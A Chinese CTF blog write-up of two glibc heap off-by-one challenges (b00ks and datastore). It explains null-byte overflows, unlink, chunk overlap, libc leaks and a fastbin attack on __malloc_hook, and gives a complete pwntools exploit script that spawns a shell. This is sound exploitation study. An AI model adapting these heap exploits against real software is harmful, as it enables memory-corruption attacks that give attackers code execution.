风之栖息地

glibc堆利用之off by one的两道CTF题目

字数统计: 2.7k阅读时长: 10 min
2020/08/07 Share

b00ks

这是一道asis ctf 2016的题目,主要功能是书本记录,除了基本的书本的增删改查功能,还有一个作者名称的改变。程序是一个基本保护除了canary其他全开的64位程序。

调试写exp的过程参考了ctf-wiki,先知社区一篇文章,和另外一个博客。很多细节上面的文章已经写的很详细了,我补充一些其他细节点。

这里漏洞的问题是出现在程序自定义的读取函数中,在读完规定长度的数据之后又会在末尾填一个0,这样就会溢出一个空字节。这种漏洞被称为OBO(off by one),这里一共使用了两次,第一次是先把作者name全部填满,这样溢出的0字节就在下一个区域中,随后这个程序有一个管理全局书本的指针数组写在这个name后面,这个操作会覆盖掉那个溢出的0字节,恰巧这个name会被当做字符串输出这样后面的指针就被泄露;第二次是在name后面有指针数组的情况下我们继续重复填充满name字段,这样0字节就会覆盖指针数组中的第一个指针的最低位,改变指针指向的地址,使得指向我们伪造的数据结构。

所以,obo漏洞可以做到:

  1. 如果该漏洞后面有数据写入,有可能泄露数据
  2. 可以通过溢出一个字节改变指针指向的位置,让它指向伪造的数据。如果在name后面的是其他重要的数据,也可以覆盖达到一些其他效果

这里伪造数据结构是第二个难点,如果我们在分配空间的时候太小,有可能在覆盖成0字节之后超过了我们能写入的范围,所以在分配的时候尽量大一点。创建书本的过程会先创建book_name,随后是book_description,最后是创建书本的数据结构。结构如下:

1
2
3
4
5
6
struct{
int book_id
char* book_name
char* book_description
int book_size
}

这个结构的指针会被写入name后面的指针数组中。我们能改变的只有description部分,在我们覆盖指针数组中的第一个指针末尾的0字节之后,让其指向description区域,我们在其中就可以伪造结构,让那两个指针指向我们想要读/写的地方,我们就可以任意读写。

这里的description的偏移需要自己调试来计算,如果是在真实环境下,可能需要循环多试很多次。

由于开启了FULL RELRO,我们不能直接修改got表,所以这里想到的方法是改写__free_hook__malloc_hook。但是改写这个就需要libc的地址,我们怎么搞到呢?其实我们在有任意读写的时候,创建一个很大的book2,这样分配内存的时候就会使用mmap的方式,读取到这个地址去计算与libc基地址的offset,之后实际中拿到地址减去这个offset就是libc基地址。

最后,拿到__free_hook的地址覆盖book2的description指针,之后再对book2的description写入我们的one-gadget,这样一旦出现free,检查到__free_hook不为空,就会执行触发getshell。

另外的方法

这里另外的方法就是unlink,这里的off-by-one的漏洞很神奇,不仅仅是在改名字那里有,在修改book描述的地方也有1字节的溢出,只是两种溢出的方式触发不太一样。

在改名字那里因为给入的是32,所以a2为32,最后退出是循环是因为回车,而改book描述那里是因为给定的输入为长度-1,最后多写一个字节是因为长度到了。

所以思路就是让一个book的描述部分伪造出一个chunk,同时溢出一个字节,让下面的描述chunk部分的size最低字节为0,这样我们在free下面的chunk时,会和上面的伪造区块合并,这个时候就会触发unlink,修改一个指定指针。这个指定指针我们选的是book4的描述指针,这样指针移动到了前面,我们再次编辑book4就能修改book4的描述指针指向其他我们的可控区域,比如这里的book6的描述指针区域。通过修改book4的描述就能控制book6的描述指针,改完之后用打印就能任意读数据,如果再修改book6的描述内容就是任意写。

有了任意读写,这里就还是一样的思路先泄露libc地址,然后找__free_hook,我们在里面写入system的地址,最后free掉book6,因为book6的名字部分是/bin/sh所以就能getshell。

datastore

这个是2015 plaidctf的题目,一共有四个操作指令GET、PUT、DUMP、DEL,其中的数据结构逆向较一般的题目要更为复杂,最核心的是一个树结构,如下:

1
2
3
4
5
6
7
8
struct node{
char *key;
long size;
char *data;
struct node *left;
struct node *right;
struct node *parent;
bool is_leaf;

整个逆向的过程有点复杂,首先是通过树节点第一次初始化那里大概能够判断出前面三个成员,后面的四个结构成员需要结合DUMP和DEL来综合判断。以后遇到这种拥有很多指针而且经常有规律改动的数据结构就可以往树的结构猜想了。

然而对程序整体分析之后发现,漏洞利用和这个树结构关系不大,最重要的关系是其中的堆分配操作,有点蛋疼。。。这个程序的漏洞点在自定义的一个输入函数中(0x1040)。

我们把chunk填满的时候,v1会指向下一字节,如果这个时候末尾是\n,就会退出循环向v1指向的地方写入0,这就溢出了一个null字节。

这道题和上一道题不一样的地方在于溢出周围的数据不一样,上一道题能够溢出修改指针,但是这道题只能溢出到chunk管理结构中的size上。不过尽管只能溢出到size上还是能发挥出巨大的威力,size中的最后一位表示上个chunk是否在使用,覆盖之后可以让堆管理操作合并堆块构造出UAF的情况。其中的方法采用的ctf-wiki的思路

leak libc

为了构造出我们可控的堆块顺序,首先会分配很多data大小为0x38的块,然后再释放掉,这样之后需要分配的时候就会从fastbin中获取,而不会破坏我们构造的堆块顺序。

为了构造出chunk overlap的情况,需要有堆块合并,所以在首尾的堆块必须要超过fastbin的大小,最后的堆块被当做溢出的对象还需要保证堆块大小为0x100的整数倍,这样溢出覆盖不会产生其他的影响。

在这两个堆块中间需要有个堆块拿来泄露libc地址,然后有个堆块拿来作为fastbin attack,最后还有个堆块拿来溢出到下一块。(在ctf-wiki里面的说法存在一点问题,提到用于溢出的块时说需要为small bin或者unsorted bin的堆块,其实不需要这个限制,只要保证不被0x20和0x40的堆块影响就行,所以这里换成0x80的堆块也是可以的,申请的大小为0x78)

最终完整的堆块构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
+------------+
| 1 | <-- free 的 size == 0x200 chunk
+------------+
| 2 | <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------+
| 5 | <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------+
| 3 | <-- size == 0x200 free 状态的 smallbin/unsortedbin chunk 可写size为0x1f8
+------------+
| 4 | <-- size == 0x101 被溢出 chunk
+------------+
| X | <-- 任意分配后 chunk 防止 top 合并
+------------+

先逐次分配上面的堆块,末尾的防合并堆块可以小一点否则small bin和unsorted bin中没有合适的堆块会触发堆块的整合,然后释放5,3,1,随后溢出修改堆块4的pre_size和size,释放堆块4,让前面的1,2,5,3和4合并成一个大块放入unsorted bin中,最后再次分配0x200大小的堆块,unsorted bin会在堆块2中写入main_arean的地址,读出2之后可以获得libc的地址。

fastbin attack

我们拿到libc地址之后,再次分配一个覆盖原来堆块2和堆块3的大小比如:0x100,这样修改fastbin中的fd指针,指向我们想要伪造的堆块,这里选择的是__malloc_hook,通过小幅度偏移伪造正常的堆块。最终的利用就很简单了,分配两次0x60的堆块,在第二次写入one_gadget到__malloc_hook中,随便输入一些指令就能触发malloc,拿到最后的shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(log_level='debug')
io = process('./datastore')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def get(key):
io.recvuntil('command:\n')
io.sendline('GET')
io.recvuntil('key:\n')
io.sendline(key)
io.recvuntil('[')
num = int(io.recvuntil(' byte', drop=True))
io.recvuntil(':\n')
return io.recv(num)


def put(key, size, data):
io.recvuntil('command:\n')
io.sendline('PUT')
io.recvuntil('key:\n')
io.sendline(key)
io.recvuntil('size:\n')
io.sendline(str(size))
io.recvuntil('data:\n')
if len(data) < size:
io.send(data.ljust(size, '\x00'))
else:
io.send(data)


def delete(key):
io.recvuntil('command:\n')
io.sendline('DEL')
io.recvuntil('key:\n')
io.sendline(key)


for i in range(10):
put(str(i), 0x38, str(i))

for i in range(10):
delete(str(i))

pause()
put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '5')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x40, 'defense-data')
pause()

# free those need to be freed
delete('5')
delete('3')
delete('1')

delete('a' * 0x1f0 + p64(0x4e0))

delete('4')
pause()

# put('0x200', 0x200, 'fillup') # get another chunk 0x200
put('0x200 fillup', 0x200, 'fillup again')

libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
info('libc leak: 0x%x' % libc_leak)

libc_base = libc_leak - 0x3c4b78

info('libc_base: 0x%x' % libc_base)

put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 + 5 - 8)) # change fd
put('prepare', 0x68, 'prepare data')

one_gadget = libc_base + 0x4526a
put('attack', 0x68, 'a' * 3 + p64(one_gadget))

io.sendline('DEL') # malloc(8) triggers one_gadget

io.interactive()

其他思路

https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/

详细一点的有看雪的一个帖子和先知社区的帖子

这个做法更加复杂,没有像上面的做法先释放很多堆块拿来当做树结构堆块,这样就要考虑到每次树结构的分配对堆块布局的影响,并且最后在覆盖的时候需要考虑不破坏之前堆上的数据。

总结

off by one的利用总的来说思路有:

  1. 如果能修改到指针,那么可以尝试构造unlink和任意读写
  2. 如果只能修改堆块的size,那么可以尝试chunk overlap
CATALOG
  1. 1. b00ks
    1. 1.1. 另外的方法
  2. 2. datastore
    1. 2.1. leak libc
    2. 2.2. fastbin attack
    3. 2.3. exp
    4. 2.4. 其他思路
  3. 3. 总结